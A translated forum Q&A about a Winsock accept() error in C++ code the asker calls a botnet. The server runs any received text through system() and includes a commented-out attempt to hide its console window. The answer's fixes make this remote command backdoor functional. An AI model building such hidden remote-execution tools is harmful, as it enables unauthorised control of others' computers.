接受函数的Winsock错误

时间:2014-09-24 03:36:42

标签: c++ winsock

我试图使用winsock制作一个简单的僵尸网络(不是出于恶意目的),客户端是正常的(至少在语法上),但是当我调用accept函数时服务器出错,它返回SOCKET_ERROR ,我调用WSAGetLastError()来获取错误号,它返回10014.在MSDN页面中,它说:

  

地址错误。

     

系统在尝试使用调用的指针参数时检测到无效指针地址。如果应用程序传递无效指针值,或者缓冲区的长度太小,则会发生此错误。例如,如果参数的长度(sockaddr结构)小于sizeof(sockaddr)。

好吧,我不知道该怎么做。

botnetserver.cpp

#include <winsock2.h>
#include <windows.h>
#include <iostream>

#define PORT 5051
#define BUFFMAX 1024 // Buffer max

using namespace std;

int main() {
    SOCKADDR_IN svaddr; // server address
    SOCKADDR_IN claddr; // client addres
    SOCKET listensocket;
    SOCKET client;
    WSADATA WsaData;
    char buffer[BUFFMAX];
    int i = sizeof(client);
    //ShowWindow(GetConsoleWindow(), SW_HIDE);, fail

    WSAStartup(MAKEWORD(2, 2), &WsaData);

    listensocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    svaddr.sin_family = AF_INET;
    svaddr.sin_port = htons(PORT);
    svaddr.sin_addr.s_addr = htonl(INADDR_ANY);

    bind(listensocket, (SOCKADDR*) &svaddr, sizeof(svaddr));
    client = listen(listensocket, 5)) == SOCKET_ERROR
    accept(listensocket, (SOCKADDR*)&claddr, &i) // Error here

    while(true) {
        /* other things i tried
        cout << "\n\n" << buffer << "\n\n";
        cout << o << "\n";
        buffer[BUFFMAX] = '\0';*/
        recv(client, buffer, BUFFMAX, 0);
        if(strcmp(buffer, "<fim>") != 0) {
            system(buffer);
            //break;
        } else {break;}
    }
    closesocket(client);
    closesocket(listensocket);
    WSACleanup();
    system("pause");
}

1 个答案:

答案 0 :(得分:1)

您的代码中有两个错误:

  1. int i = sizeof(client);
  2. i需要初始化为sizeof(claddr)。这就是accept()失败的原因。 sizeof(client)小于sizeof(claddr),因此accept()认为您的claddr缓冲区太小而无法接收客户端的IP地址。您在引用的文档中明确说明了这一点:

      

    系统在尝试使用调用的指针参数时检测到无效指针地址。如果应用程序传递无效指针值或缓冲区的长度太小,则会发生此错误。例如,如果参数的长度(sockaddr结构)小于sizeof(sockaddr)。

    1. client = listen(listensocket, 5)) == SOCKET_ERROR
    2. clientSOCKET句柄。您无法将==运算符的结果分配给SOCKET。您需要将accept()的结果改为client

      将这些行更改为:

      int i = sizeof(claddr);
      ...
      listen(listensocket, 5);
      client = accept(listensocket, (SOCKADDR*)&claddr, &i);
      

      话虽如此,您还需要修复recv()循环。 recv()不会返回以null结尾的数据,但strcmp()需要这样做。您需要在读取后空终止缓冲区,或者使用strncmp()代替,使用recv()的结果作为缓冲区长度。您需要考虑到recv()可能需要多次调用才能接收<fim>,因此您需要实施适当的缓冲。

      并且,您需要在所有函数调用上添加正确的错误处理。